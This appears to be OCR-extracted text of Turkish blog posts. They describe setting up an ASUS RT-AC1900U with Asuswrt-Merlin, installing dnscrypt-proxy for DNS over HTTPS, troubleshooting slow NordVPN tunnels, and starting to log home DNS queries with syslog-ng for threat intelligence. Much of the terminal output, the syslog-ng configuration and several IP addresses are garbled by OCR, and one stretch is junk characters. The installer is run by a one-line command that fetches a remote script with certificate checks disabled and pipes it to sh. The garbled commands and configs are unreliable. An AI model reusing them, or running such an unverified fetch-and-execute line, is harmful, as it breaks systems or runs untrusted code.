() uyarianabilir Qo5 Gnandeki LED sinyalleri bu tir durumlan gosterir. Sistem kurtarma islemi icin CD'deki Yazihm Srimand Kurtarma
yardime: programini kullanin.

N:' Trafik Coziimleyici 4 En son aygit yazilim sirimiini http:/iwww.asus.com/support/ adresindeki ASUS Destek sitesinden edinin.

&% USB uygulamas:
Donamim Yazilimu SGriimii

3 Aicloud 2.0 Check Update Kontrol

Geligmis Ayar AiMesh router
Current Version  3.0.0.4.384_20308-gead790e

RT-AC1900U
it Manual Firmware Update a Yikle

[W] verel A5 Note - Manual firmware update will update this AiMesh router / node only, if you are using AiMesh m, please make sure
you are uploading proper fimmware version

@ 1PV6

VPN

¥ Giivenlik Duvar:
g ‘Yonetim

EZ sistem Ginligi
P8



https://asuswrt.lostrealm.ca/download

Esaretten Kagis

Donanim yaziimi yukseltiliyor. Ltfen 3 dakika kadar
bekleyin.

Aygit yaziimi giincelleme islemi sirasinda RT-AC1900U
aygitini kapatmayin.
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Powered by
/iISUS RT-AC1900U LA, D Asusurt-Merlin Oturumu Kapat Yeniden Baslat Tiirkge
Islem Modu: Kablosuz Yonlendirici Donanim Yazlimi Surimi: 384.9
- Hizli Internet SS1
Kurulumu

Sistem Durumu
[

Q - Internet durumu:
@) 1§ Esleme Ag kablosu ba

2.4GHz 5GHz
islemd
9 Misafir A Core 1

() AiProtection o2

() vyarlanabilir Qos
Guvenlik duzeyi:

AR, Trafik Coziimley WPA2-Personal 8

3
@ USB uygulamas: Bellek

Kullanilan Bos Toplam
€23 Aicloud 2.0 65MB 256MB

A~ Tools

25%

Gelismis Ayar

N Kablosuz
Istemciler:

[W] verel a5 ; i Sy Ethernet Baglanti Noktalan
Baijlant Nokialan Durum
Unplugged

@ 1Pv6 o 100 Mbps

unplugged
VPN
Aygit Yok Unplugged

., Giivenlik Duvan Unplugged

2 Yonetim
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/iSUS RTAC1o00U - Y, o Reboot English

= QuickTnrernet Operation Mod less router Firmware Version: 384.9 SSID: =
Setup

Internet Dual Port Virtual Server / Port DMZ  DDNS NAT
Connection WAN Trigger rwarding Passthrough
General

@8) Network Map WAN - Internet Connection
@) Guest Network RT-AC1900U supports several connection types to WAN (wide area network) These types are selected from the dropdown menu
e beside WAN Connection Type. The setling fields differ depending on the connection type you selected
AiProtection Configure the. Ethemet WAN settings of RT-AC1900U
Basic Config

(7> Adaptive Qos
WAN Connection Type PPPOE

\. Traffic Analyzer
Ji\/“ Enable WAN Oves ® o

@: USE Application Enable NAT O Yes ® No

£ Aicioud 2.0 Enable UPnP  UPnP_FAQ Oves ® No

Enable secure UPNP mode Oves ®No
A Tools

UPNP: Allowed inlemal port range 1024 |to] 65535
Advanced Setings UPNP: Allowed extemal port range to | 65535

[3) Wireless
'WAN IP Setting

Get the WAN IP automatically

Connect to DNS Server automatically

@ IPv6

VPN

Account Settings

Usemname

Password
8 show password

Disconnect after time of inactivity (in seconds) |0
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‘,\ Powered by

/iSUS RT-ACT900U <39 Asuswrt-Mer English

Operation Mode: Wireless router Firmware Version: 384.9 SSID: =

s QuickInternet
"N Setup

LANIP DHCP Server DNSFilter Route IPTV  Switch Control

General
&) Network Map LAN - IPTV

[ p— To walch IPTV, the WAN port must be connected to the Intemet. Please go to WAN - Dual WAN to confirm that WAN port is
assigned to primary WAN.
rﬂlD AiProtection LAN Port

Select ISP Profile manual setting
(7>) Adaptive Qos

Internet VID | 3001 PRIO |0
/&‘_, Traffic Analyzer

LAN Port 4 viD PRIO 0
&5 US® Avplication :
2 LAN Port 3 viD PRIO 0
3 Aiclound 2.0 Special Applications
Use DHCP routes wicrosoft
&~ Tools
Enable multicast routing (IGMP Proxy) Disable v
Advanced Settings Enable efficient multicast forwarding (IGMP

Snooping)
[S)\ wireless

] o

Disable v

UDP Proxy (Udpxy) o

@ IPv6
g VPN
¥y Firewall

,*é Administration

Sira yonlendiricinin gerceklestirdigi tiim DNS trafigini sifreli (Dns
over HTTPS - DoH) hale getirmeye geldiginde ilk isim
yonlendiriciye  yiklenen  paketleri  kurabilecegim  ve
calistirabilecegim bir USB disk baglamak oldu. Ardindan komut
satirindan entware-setup.sh komutunu caligtirarak kurulumu
kisa siirede tamamladim. DoH destegine sahip dnscrypt-proxy
aracini  kurmak icin ise curl -L -s -k -O
https://raw.githubusercontent.com/thuantran/dnscrypt-

asuswrt-installer/master/installer && sh installer ; rm
installer komutunu caligtiripp kurulumu gerceklestirdim.
dnscrypt-proxy aracinin basariyla calistigini teyit etmek icin de
iilkemizde hala yasakli olan wikipedia.org adresinin ip adresini

coziimlemeye calistigimda aracin basariyla calistigini gérdiim.
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S Router x

Wer TaRT-AC19000-6610: /tip/home/rooté curl ~L -5 -K -0 hteps://r: pr-asuswrt-Tnstaller/master/installer &6 sh installer ; rm installer
Info: Detected Aw? architecture;
s custon scripts and configs are already enabled

Tnro; Chosss’shar you hanc re dor

1) ‘Install/Update dnscrypt-proxy

2) uningeall dnscrypt-proxy

3) Configure dnscrypt-proxy

4) set timezone

3 Unser rinezone

R

2 tninstalt PR

8 Tt e Fiie

53 Uninseatt AL

Quit

P Niise enter the mumber designates your selection:, [1-9/a]:

Tnfo; “Tis operation Wil inStal] dnsclypt-prony and felaced H1es (<ens)
Info: to JFFS, no other data will be changed,

Info: Also sobe Start scripts will be fnstalied/modified as required.

ou want to install dnscrypt-proxy to /jffs? [y/n]:
Tarol” Yanager 15" %o cave: Slpping 1 1 MY

Downfosding Hnserypt-proxy® 1ind_arn-2.0.19. tar. gz
Tnfo: Downloading publ 1éoresolvers. nd &
Ifo; Bamioading public-recolver s nd. minisi

hnux arm/examme _whitelist. txt
x-arm/exanp]le-forwarding-rules. txt
i arn, axanple-e Toakinaoruras eit
Vinux-arm/CICENSE
Tinux-arn/exanple-dnscryptproxy. tonl
ist. txt

nfo: dnsmasq pos%t?# ;uedawreagy configured
Tnfo wancsiare Fi1e airesdy’conr ot
EEnFTguring dnscrypt-pros
) ammfp: Broky configuration. .
[2019 03506 Terdotis] Yhorece] soureec {publtc-resolvers. nc] Toaded
203:06 161500171 hoTice] ContigurationsucCeasfully checked

Lot und Drekus  dnscrype- Droxy “Contig File

%00 yom Yhoue recontiguring? Ly/nl: y
ror Yo Pravises sereings M

Info: Staring dnscryptoprosy.
“gnto a k reliabl pe a1

o For dnscrype-proxy version 2 to work reliably, you might also want to:

e s rypeprony y, you mig
Info:  Add aRA
nfo r cinezone
Tnfo: operstivn conpleted: vou can quit or continue

: choose what you want to
1) Ins\:a” ypace dnscrypr prnxy
all’ dnscrypt |
3) Configure dnscrypt-proxy
Set cinezone

elease enter che nurber designates
en

ur selection:, [1-0/al: q
Infor operstions ha

| % Router x | @ DO - Veni | @ Batcave | @ Batcave (1)

mer t@RT-AC1900U-6610: /3TFs /dnscrypt# dig @195.175.39.49 www.wikipedia.org +short
1185.175.254. 2
mer t@RT-AC1900U-6610: /jffs/dnscrypt# dig @8.8.8.8 www.wikipedia.org +short

; <<>> DiG 9.11.5 <<>> @8.8.8.8 www.wikipedia.org +short

; (1 server found)

;3 global options: +cmd

+: connection timed out; no servers could be reached

mer tERT-AC1900U-6610: /s /dnscrypt# dig @.1.1.1 www.wikipedia.org +short

; <<>> DiG 9.11.5 <<>> @1.1.1.1 www.wikipedia.org +short

; (1 server found)

;i global options: +cmd

;3 connection timed out; no servers could be reached

mer TART-AC1900U-6610: /s /dnscrypt# dig @27.0.0.1 www.wikipedia.org +short
103.102.166, 224

mer t@RT-AC1900U-6610: /jffs/dnscrypt# ./dnscrypt-proxy -resolve www.wikipedia.org
rResolving [www.wikipedia.org]

pomain exists: probably not, or blocked by the proxy
canonical name: www.wikipedia.org.

IP addresses: 103.102.166.224, 2001:df2:e500:edla::1
TXT records: =

Resolver IP: 162.158.250.137

Yonlendiricinin etinden siitiinden faydalanmak igin bir de VPN
servisleri ile olan baglantisini (Netflix kullanicilar1 nedenini ¢ok
iyi anlayacaklardir. :)) test etmeye karar verdim. Bunun igin ABD
seyahatim esnasinda televizyonda c¢okca reklamimi goérdigim
NordVPN VPN servis saglayicisina iiye oldum. Asuswrt-Merlin
kullanicilar: icin 6zel olarak olusturduklar: yardim sayfasindaki
adimlar1 gerceklestirdikten sonra yonlendiricinin NordVPN

sunucularindan biriyle basarryla baglant: kurmasini sagladim.


https://www.netflix.com/tr/
https://www.mertsarica.com/black-hat-usa-2018/
https://nordvpn.com/
https://nordvpn.com/tutorials/asustwrt-merlin/openvpn/
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NordVPN ile baglanti kurduktan sonra internet baglantimin
herhangi bir web sitesine baglanamayacak sekilde asir1 derecede
yavagladigini farkettim. “Bu VPN sunucusunda problem var
sanirim”, “Bu VPN sunucusu da m1 yavas ?” derken baglandigim
10’a yakin sunucudan web sitelerine baglanamadigimi farkettim.
Tam NordVPN’in hizmet kalitesini sorgulamaya baglamisken bir
anda aklima sosyal medyada VPN servislerinin yavaslatildig:
iddialarina yonelik okudugum mesajlardan biri geldi.


https://twitter.com/mserdark/status/1055568872080781312
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M. Serdar Kuzuloglu ™
@ 9 ° ': Takip et )~
@mserdark 2

Sayin @TurksatAsistan, 1 haftadir stiren
VPN yavaslatma 'hizmetiniz' kalici bir
politika mi, gecici mi? Benim gibi diger
@turksat musterileri de bilmek istiyordur
eminim. Diger erisim saglayicilarda boyle
bir sorun yok. Sizdeki 'hizim' ekteki gibi.

FAST

internet hiziniz

630"

00:16 - 26 Eki 2018

19 Retweet 172 Begeni .& o‘e ti’ r’ﬂ@

Q 29 19 Qe H

9 Yanitim Tweetle

Baglandigim NordVPN sunucularindan Google’'in DNS sunucusu
olan 8.8.8.8 ip adresini pingledigimde siirelerin katlanarak
arttigini farkettim.
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Powered by

/iSUS RT-AC1900U < %9 Asuswrt-Merlin Logout Reboot English

r_ Quick Internet Operation Mode: dess router Firmware Version: 384.9 SSID: b 4
X Setup

VPN Status VPN Server VPN Client TOR

General

@?) Network Map OpenVPN Client Settings

Before starting the service make sure you properly configure it, including the required keys,
otherwise you will be unable to turn it on.

Guest Network

g) AiProtection In case of problem, see the System Log for any eror message related to openvpn.

() Adaptive QoS Client control
Select client instance : NordvPN - VPN

i\l“' Traffic Analyzer
Sel state ON Connected (Local 10.7. - Public: 176.113.74.
L e
USB Applicati
2 P, Aulomatic start at boot ime ®ves Ono

3 aicloud 2.0 Description NordVPN - VPN

A Tools Import ovpn file No file chosen

Network Settings
Advanced Se

[A\ wireless

Interface Type TUN ¥
Protocol TCP v
Server Address and Port Address: 176.113.74.237
Accept DNS Configuration Relaxed
reate NAT on tunnel Oves ®no
Authentication Settings
Authorization Mode
Usemame/Password Authentication

Usemame
X administration
[£]

M Show password
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mert@rT-AC1900U-6610: /tmp/home/root# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
* 255. 255,255,255 UH 0 0 0 ppp0
176.113.74.237 255.255.255.255 UGH 0 0 0 Eppﬂ
192.168.1.0 7 255.255.255.0 u (4] 0 0 bro
10.7.3.0 %, 255.255.255.0 u 4] 0 0 tunl2
169.254.0.0 o 255.255.0.0 u (o] (o] 0 vlan3001
127.0.0.0 = 255.0.0.0 u [} 0 0 lo
default y 0.0.0.0 uG 0 0 0 ppp0
mert@RT-AC1900U-6610: /tmpﬁhome/root# ping -I tunl2 8.8.8.8
PING B.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 tr1=55 time=6648.268 ms
64 bytes from 8.8.8.8: seq=1 tr1=55 Time=5648.283 ms
64 bytes from 8.8.8.8: seq=2 tt1=55 Time=4648.953 ms
64 bytes from 8.8.8.8: seq=3 ttl=55 time=12224.073 ms
64 bytes from 8.8.8.8: seg=4 ttl=55 time=11224.201 ms
64 bytes from 8.8.8.8: seq=5 trl=55 time=10224.202 ms
64 bytes from 8.8.8.8: seq=6 ttl=535 time=9614.864 ms
64 bytes from 8.8.8.8: seq=7 ttl=55 12234. 947 ms
64 bytes from 8.8.8.8: seq=8 trl=55 =11235.023 ms
64 bytes from 8.8.8.8: seq=9 tt1=55 time=10235.036 ms
64 bytes from 8.8.8.8: seg=10 ttl=55 time=9235.121 ms
64 bytes from 8.8.8.8: seq=11 ttl=55 time=16509.917 ms
64 bytes from 8.8.8.8: seq=12 ttl=55 time=15509.886 ms
64 bytes from 8.8.8.8: seq=13 ttl=55 time=14510.849 ms
64 bytes from 8.8.8.8: seq=14 ttl=55 time=13510.848 ms
64 bytes from 8.8.8.8: seq=15 tT1=55 time=12510.775 ms
64 bytes from 8.8.8.8: seq=16 tt1=55 time=11512.011 ms
64 bytes from 8.8.8.8: seg=17 ttl=55 time=10513.375 ms
64 bytes from 8.8.8.8: seq=18 ttl=55 time=9513.429 ms
64 bytes from 8.8.8.8: seq=19 ttl=55 time=8513.435 ms
64 bytes from 8.8.8.8: seq=20 ttl1=55 time=13145.176 ms
64 bytes from 8.8.8.8: seq=21 TT1=55 Time=12145.169 ms
64 bytes from 8.8.8.8: seq=22 tr1=55 Time=11147.973 ms
64 bytes from 8.8.8.8: seq=23 tt1=55 time=10147.933 ms
64 bytes from 8.8.8.8: segq=24 ttl=55 time=9147.860 ms
64 bytes from 8.8.8.8: seq=25 ttl=55 time=8147.774 ms
64 bytes from 8.8.8.8: seq=26 ttl=535 time=7147.687 ms
64 bytes from 8.8.8.8: seq=27 ttl=55 time=11516.101 ms
64 bytes from 8.8.8.8: seq=28 tr1=55 Ttime=11761.391 ms
64 bytes from 8.8.8.8: seq=29 ttl1=55 time=10761.391 ms
64 bytes from 8.8.8.8: seq=30 ttl=55 time=0761.313 ms
64 bytes from 8.8.8.8: seg=31 ttl=55 time=8761.224 ms
64 bytes from 8.8.8.8: seq=32 ttl=55 time=7761.279 ms
64 bytes from 8.8.8.8: seq=33 ttl=535 time=9896.576 ms
64 bytes from 8.8.8.8: seq=34 ttl=55 time=8896.620 ms
64 bytes from 8.8.8.8: seq=35 tT1=55 time=7898.961 ms
64 bytes from 8.8.8.8: seq=36 tt1=55 time=6898.912 ms
64 bytes from 8.8.8.8: segq=37 ttl=55 time=5898.834 ms
64 bytes from 8.8.8.8: seq=38 ttl=55 time=4898.749 ms
64 bytes from 8.8.8.8: seq=39 ttl=55 time=16923.183 ms
64 bytes from 8.8.8.8: seq=40 ttl=535 time=15923.461 ms
64 bytes from 8.8.8.8: seq=41 ttl=55 time=14924.623 ms
64 bytes from 8.8.8.8: seq=42 tr1=55 time=13924.561 ms
64 bytes from 8.8.8.8: seq=43 tt]1=55 time=29231.054 ms
64 bytes from 8.8.8.8: seq=44 tt]=55 time=28231.044 ms
64 bytes from 8.8.8.8: seq=45 ttl=55 time=27231.986 ms
64 bytes from 8.8.8.8: seq=46 ttl=55 time=26231.979 ms
64 bytes from 8.8.8.8: seq=47 ttl=55 time=31198.969 ms
64 bytes from 8.8.8.8: seq=48 tr1=55 Ttime=30198.990 ms
64 bytes from 8.8.8.8: seq=49 tTl1=55 Time=29198.962 ms
64 bytes from 8.8.8.8: seq=50 tt1=55 time=28198.983 ms
64 bytes from 8.8.8.8: seg=51 ttl=55 time=27198.956 ms
64 bytes from 8.8.8.8: seq=52 ttl=55 time=26201.187 ms
64 bytes from 8.8.8.8: seq=53 ttl=55 time=25201.248 ms
64 bytes from 8.8.8.8: seq=54 ttl=55 time=24201.256 ms
AC

-—- 8.8.8.8 ping statistics ---

80 packets transmitted,

55 packets received,

31% packet loss
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\ Powered by

/iISUS RT-AC1900U Asuswrt-Merlin English

£ Gk intemet Operation Mode: Wireless router Firmware Version: 384.9
\ ]

VPN Status VPN Server VPN Client  TOR

General
@3 Network Map OpenVPN Client Settings

Before starting the service make sure you properly configure it, including the required keys,

() Guest Network
otherwise: you will be unable to tum it on.

rr;l AiProtection In case of problem, see the System Log for any error message related to openvpn.

(7>) Adaptive QoS Client control
Select client instance: 4: NordvPN - VPN - CA-USLO ¥

AR Traffic Analyzer
Service state ON ‘Connected (Local: 10.7.7 44 - Public: 91.132.137.70) Reiresh

w3 o
@ VS Avplication Automatic start at boot time ®ves Ono

S Aicloud 2.0 Description NordVPN — VPN — CA-US10

A Tools Import ovpn file [ETTNard Mo file chosen
Network Settings

Advanced Settings i T TUN Y

[Siwkete= Prolocol TP v

[W] ran Server Address and Port Address:| 139.28.218.44
Accept DNS Configuration Relaxed v
Create NAT on funnel Oves ®No
Authentication Settings
Aulhorization Mode

- Firewan Usemame/Password Authentication

- Usemame
Administration
]

Password B snow password

mer T@RT-ACL900U-6610: /tmp,/home/root# route
Kernel IP routing table

Destination Gateway Genmask Flags metric Rref use Iface
139,28.218.44 255.255.255.255 UGH 0 0 0 ppp0

i 255.255.255.255 UH 0 0 0 EppD
192.168.1.0 i 255.255.255.0 u 0 0 0 bro
10.7.7.0 i 255.255.255.0 u 0 0 0 tunl4
169.254.0.0 A 255.255.0.0 u 0 0 0 vlan3001
127.0.0.0 oy 255.0.0.0 u 0 0 0 lo
defauit 0.0.0.0 uG 0 0 0 ppp0

mer T@RT-ACL900U-6610: /tmp,/home/root# ping -I tunl4 B8.8.8.8

PING 8.8.8.8 (B.8.8.8): 56 data bytes

64 bytes from 8.8.8.8: seq=47 TT1=117 Time=8§66.553 ms
64 bytes from 8.8.8.8: seq=48 ttl1=117 time=1191.751 ms
64 bytes from 8.8.8.8: seq=49 tt]=117 Time=2292.490 ms
64 bytes from B.8.8.8: seg=50 ttl=117 time=31483.191 ms
64 bytes from §.8.8.8: seq=52 tt]=117 time=29483.216 ms
64 bytes from B.8.8.8: seg=53 ttl=117 time=34078.320 ms
64 bytes from §.8.8.8: seq=54 tt]=117 time=33078.304 ms
64 bytes from B.8.8.8: seg=55 ttl=117 time=32078.228 ms
64 bytes from §.8.8.8: seq=56 tt]=117 time=31078.140 ms
64 bytes from B.8.8.8: seg=57 ttl1=117 time=30078.070 ms

NordVPN’in Double VPN o6zelligine sahip sunucularindan birine
baglandigimda bu defa ping siiresinin ¢ok daha makul seviyelerde
oldugunu ve web sitelerine baglanabildigimi gordiim. Baska bir


https://nordvpn.com/features/double-vpn/
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Double VPN sunucusuna baglandigimda ise bu yine baglantimin
inanilmaz derecede yavas oldugunu farkettim. 1ki vpn
sunucusunun OpenVPN baglant1 ayarlarini kiyasladigimda, mesaj
dogrulamasinda kullanilan AUTH parametresinin (HMAC digest
algorithm) farkli (SHA512 yerine SHA1) oldugunu tespit ettim.
Tim NordVPN sunucularinin arasindan AUTH parametresinin
SHA1 olanlarina  baglanmay:r denedigimde baglantinin
yavaglamadigini dolayisiyla bu yavaglamay: tetikleyen unsurun
SHAJ512 algoritmas ile iligkili olabilecegine kanaat getirdim.
PING siirelerinin gecikmesine neyin sebep olabilecegini
LinkedIn iizerinden sordugumda genel olarak gelen yamnitlar;
hattin sature olabilecegi, aradaki yonlendiricinin bozuk
olabilecegi, ethernet kartinda sorun olabilecegi, yerel agda
topraklama sorunu olabilecegi, firewall baglant1 listesinin
doldugu, sistemin saldir1 altinda olabilecegi oldu. Ben de
paylastigim ekran goriintiileri ve Linkedin’den gelen yorumlar
isiginda bu gecikmeye neyin sebep oldugunun bulunmasini,
alistirma olmasi adina siz sevgili okurlarima birakmaya karar

verdim.
o oo



https://nordvpn.com/api/files/zip
https://www.linkedin.com/feed/update/urn:li:activity:6510180033020071936/
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mert@RT-AC1900U-6610: /tmp /home,/root# route
kKernel IP routing table

Destination Gatewav Genmask Flags Metric Ref use Iface
68.168.114, 37 255.255.255.255 UGH 0 0 0 pppd
255.255.255.255 UH 0 0 0 EppO
192.168.1.0 i 299.235.255.0 u 0 0 0 bro
10.7.7.0 * 255.255.255.0 u 0 0 0 tunl3
169.254.0.0 * 255.255.0.0 u 0 0 0 vlan3001
127.0.0.0 x 255.0.0.0 u 0 0 0 lo
default 0.0.0.0 uG 0 0 0 ppp0

mert@RT-AC1900U-6610: /tmp/home,/root# ping -I tunl3 8.8.8.8
PING 8.8.8.8 (8. : 56 data bytes

64 bytes from : seqg=0 ttl=121 time=416.562 ms
64 bytes from : seg=l ttl=121 time=163.178 ms
64 bytes from 1 seg=2 ttl=121 time=227.239 ms
64 bytes from 1 seg=3 ttl=121 time=163.491 ms
64 bytes from : seg=4 TTtl=121 Time=164.102 ms
64 bytes from : seg=5 ttl=121 time=163.397 ms
64 bytes from 1 seg=6 ttl=121 time=163.538 ms
64 bytes from 1 seg=7 ttl=121 time=165.894 ms
64 bytes from : seg=8 ttl=121 time=163.354 ms
64 bytes from : seq=9 ttl=121 time=163.095 ms
64 bytes from 1 seg=10 ttl=121 time=163.285 ms
64 bytes from : seg=11 ttl=121 time=180.063 ms
64 bytes from : seg=12 ttl=121 time=163.515 ms
64 bytes from : seg=13 ttl=121 time=183.941 ms
64 bytes from 1 seg=14 ttl=121 time=163.153 ms
64 bytes from : seg=15 ttl=121 time=164.452 ms
64 bytes from 1 seg=16 ttl=121 time=239.481 ms
64 bytes from 1 seq=17 ttl=121 time=247.684 ms
64 bytes from 1 seg=18 ttl=121 time=229.615 ms
64 bytes from : seg=19 trl=121 time=163.541 ms
64 bytes from : seq=20 ttl=121 time=308.787 ms
64 bytes from 1 seq=21 ttl=121 time=163.751 ms
64 bytes from 1 seq=22 ttl=121 time=164.228 ms
64 bytes from : seg=23 ttl=121 time=189. 868 ms
64 bytes from : seq=24 ttl=121 time=163.761 ms
64 bytes from 1 seg=25 ttl=121 time=163.222 ms
64 bytes from : seqg=26 ttl=121 time=163.220 ms
64 bytes from 1 seg=27 ttl=121 time=163.683 ms
64 bytes from 1 seq=28 ttl=121 time=163.683 ms
64 bytes from 1 seq=29 ttl=121 time=163.792 ms
64 bytes from 1 seg=30 trl=121 time=163.429 ms
64 bytes from : seg=31 ttl=121 time=325.651 ms
64 bytes from 1 segq=32 ttl=121 time=178.039 ms
64 bytes from : seg=33 ttl=121 time=163.946 ms
64 bytes from : seg=34 trl=121 Ttime=163.651 ms
64 bytes from : seq=35 ttl=121 time=163.740 ms
64 bytes from 1 seg=36 ttl=121 time=340.520 ms
64 bytes from 1 seq=37 ttl=121 time=236.380 ms
64 bytes from : seg=38 ttl=121 time=433.735 ms
64 bytes from : seq=39 ttl=121 time=163.266 ms
64 bytes from 1 seq=40 ttl=121 time=163.345 ms
64 bytes from : seg=41 ttl=121 time=163.188 ms
64 bytes from : seg=42 ttl=121 time=163.783 ms
64 bytes from : seq=43 ttl=121 time=163.224 ms
64 bytes from 1 seq=44 ttl=121 time=163.706 ms
64 bytes from : seg=45 trl=121 time=164.327 ms
64 bytes from : seg=46 ttl=121 time=163.542 ms
AC

--- B.8.8.8 ping statistics ---

47 packets transmitted, 47 packets received, 0% packet loss
round-trip min/avg/max = 163.095/194.426/433.735 ms

99 9% 99 90 90 90 99 99 09 0 09 &9 G0 G0 09 99 9% 90 90 90 90 99 09 09 09 09 £ G G 99,99 9% 99 09,99 90 99 09 09 09 09 09 09 G 09 09 0
0 &0 20 2 20 00 0 00 0 060 20 00 0 000 20 00 20 0 00 20 0 0 00 20 00 .0 00 0 00 25 0 00 30 9 0 00 0 00 .0 00 0 3
00,30 30 00100 09 09 09 09 03 0 0 0 0 0 0 0 00 00 00 00 09 09 09 0 00 0 0 0 0 00 00 00 00 00 00 00 09 09 09 00 0 0 0 0 0 0 0
OJWmmmmmmw07mmm09mmm07070703mmwmmmmmmmmmmwmmmwmmmmmmmws

Sonug olarak yillarca istemeyerek, sikayet ederek kullandigim
Tilgin HG1332 yonlendiriciden kurtularak, giivenligini kendimin
saglayabildigi, giivenlik 6zellikleri ile dopdolu yeni yonlendiricime
yillar sonra kavusmus oldum. Ozellikle OpenVPN destegi
sayesinde, aligveris merkezleri, oteller, cafeler, havaalanlar1 gibi

halka acik alanlarda tcretsiz olarak sunulan fakat bilgi giivenligi
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adina kullanicilar icin risk teskil eden tcretsiz/ortak WiFi
hizmetlerinden faydalanmak istedigimde, evimdeki
yonlendiricime VPN ile giivenli bir sekilde bilgisayarimdan veya
cep telefonumdan baglanabilmek ve bu riski minimuma
indirgeyebilmek de beni fazlasiyla mutlu etti.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler

dilerim.






10. Ev Tipi Tehdit

istihbarati

Yazilarim1 okuyanlariniz, Esaretten Kacis baghikli yazimda
givenligini kendinizin saglayabildigi, giivenlik o6zellikleri ile
dopdolu bir yo6nlendirici (router) kullanmanin avantajlarindan
buytk bir mutlulukla bahsettigimi hatirlayacaklardir. Yazida da
bahsettigim iizere DNS trafigini sifreli (Dns over HTTPS - DoH)
hale getirmek icin dnscrypt-proxy aracimi kullanmaya
baslamigtim.

Termostatlarin  akillandigi  (smart), akilli televizyonlarin
kameralarla donatildigi, elektrikli su 1siticilarinin, {tilerin
casuslastirildigl giiniimiizde, ev agimiza bagli olup internete
baglanan giivensiz nesneler (IoT), enfekte olmus, zararli yazilim
barindiran sistemler, cihazlar giivenligimiz, mahremiyetimiz icin
buytk risk tegkil ediyorlar. Hacklenmis, enfekte olmus, arka kapi
iceren ev agimizdaki sistemleri nasil tespit edebilecegim tizerine
diistiniirken dnscrypt-proxy araci sayesinde ev agina bagl tiim
sistemler, cihazlar, aygitlar tarafindan gerceklestirilen DNS

isteklerini de kayit altina alabilecegimi hatirladim.
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http://www.mertsarica.com/esaretten-kacis/
https://developers.cloudflare.com/1.1.1.1/dns-over-https/
https://ev.honeywellhome.com.tr/product-detail.php?id=7
https://thehackernews.com/2013/11/russia-finds-spying-microchips-planted_1.html
https://www.cnet.com/news/uae-karma-hack-tool-spied-on-iphones-just-by-sending-a-text-report-says/
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DNS isteklerini kayit altina alabildigim noktada Open Threat
Exchange (OTX), Critical Stack gibi siber tehdit istihbarati
servislerinden faydalanarak bu DNS isteklerinde yer alan, alan
adlarini ve ip adreslerini bu servislere sorarak ev agimdaki zararli
sistemleri tespit edebilirdim. Vakit kaybetmeden bu fikrimi hayata
gecirmek icin ihtiyac listesi tizerine diisiinmeye bagladim.

[lk olarak elimin altinda bulunup bu gibi durumlarda her daim
yardimima kosan Mini-PC‘imde ¢alisan Ubuntu igletim sistemi
iizerine syslog-ng paketini kurmaya karar verdim. Paketi
kurduktan sonra gelen dns isteklerini /var/log/dns-sys/
gonderenin-ip-adresi klasorii altindaki tarih.log dosyasina
kayit edecek sekilde ayarladim ve /etc/syslog-ng/conf.d/dns-
sys.conf dosyasina kayit ettim.

root@ubuntu: /fetc/syslog-ng/conf.d# Ts
dns-sys. conf
root@ubuntu: /etc/syslog-ng/conf.d# cat dns-sys.conf

options {
create_dirs(yes);
perm(0640);
dir_perm(0750);

sources_net{ ....................................
tep(ip(0.0.0.0) port(514));
udp(ip(0.0.0.0) port(514});

aésltlﬂ‘rlwé\tlﬂ‘éril‘alﬁésltlIs‘;;éclﬂ‘%';cl .......................
file("/var/log/dns- sys/$H05T/$DAv SMONTH-$YEAR. 10g™);

filter f_cached { match("cached"); I}; # Filter regex keyword cached
filter f_gquery { match("query"); 1 # Filter regex keyword query
filter f_reply { match('reply™); 1} # Filter regex keyword reply
Tog {

source(s_net);
filter (f_cached);
destination(d_host-specific);

i
log {
source(s_net);
filter (f_query);
destination(d_l host- specific);
I
log {
source(s_net);
filter (f_reply);
destination(d_host-specific);
i

Sonraki adimda dnscrypt-proxy aracinin dns isteklerini
yonlendiricinin syslog’una kayit etmesi icin /jffs/configs/
dnsmasq.conf.add dosyasina log-queries satin1 ekledim.


https://otx.alienvault.com/
https://otx.alienvault.com/
https://intel.criticalstack.com/
https://www.gigabyte.com/Mini-PcBarebone/GB-BACE-3150-rev-10#ov
https://www.syslog-ng.com/products/open-source-log-management/
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Ardindan yonlendiricinin bu istekleri syslog sayfasinda
gostermesini saglamak icin Default message log level ve Log
only messages more urgent than degerlerini debug olarak
ayarladim ve bu mesajlar1 Ubuntu iizerinde c¢alisan syslog-ng
uygulamasma yonlendirmek icin Remote Log Server degerini

Ubuntu’nun ip adresi olarak tanimladim.

mer t@RT-ACL900U-0610: /JTfs/conf1gs# cat dnsmasq. conf. add
no-resolwv

log-queries

server=127.0.0.1#65053

mert@RT-AC1900U-6610: /jffs//configs# |

| Powe
/iSUS RT-ACT900U - i’\‘ Asuswrt-Merlin Logout Reboot English v

I Quick Internet Operation Mode: Wireless router Firmware Version: 384.9 SSID: = =
N Setup
GeneralLog  Wireless Log ~ DHCPleases IPv6  Routing Table  Port Forwarding  Connections

General

@?) Network Map System Log - General Log

@3 Guest Network This page shows the detailed system’s activities

System Time Wed, Mar 27 21:07:46 2019
[g) AiProtection

Uptime 17 days 9 hours 34 minute(s) 20 seconds.
(73) Adaptive Qos
Remote Log Server 192.168.1. Port: 514

o
N- Traffic Analyzer Default message log level debug

@; uSB Application Log only messages more urgent than debug

3 Aidloud 2.0

A~ Tools 21:07:40 dnamasqr2s860) :
Gnamasqi2s8eo

Advanced Settings

[\ wireless

[@] tan

@ 1Pv6
ana :
) vew £ ey
= dnamasql25860]
W, Firewall

E Administration

Syslog-ng kayitlarini teker teker incelemeye ve tehdit istihbarati
adina hangi tiir kayitlara odaklanmam gerektigine bakmaya
basladim. Kayitlarda yer alan query[A], cached ve reply
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bilgilerden faydalanabilecegimi 6grendikten sonra bu kayitlar
OTX ile entegre calisabilen Security Onion‘a goénderebilecegimi
disiindiim. Security Onion’un 16.04.5.6 isletim sistemini kurup
calistirdiktan sonra logstash servisinin (so-logstash) bir tiirli
calismadigini farkettim. Uzerinde debelenmeme ragmen bagarili
olamadiktan sonra alternatif yollar {izerine arastirma yapmaya

basladim.

root@ubuntu: /etc/sysTog-ng/conf.d# tail -n 20 /var/Tog/dns-sys/192.168.1.1/09-04-2019. Tog
9:25 192.168 dnsmasq[29860]: reply partnerad.].doubleclick.net is 74.125.21.156

Apr 9 21:0 1k

Apr 9 .1.1 dnsmasq[29860]: reply partnerad.]1.doubleclick.net is 74.125.21.157
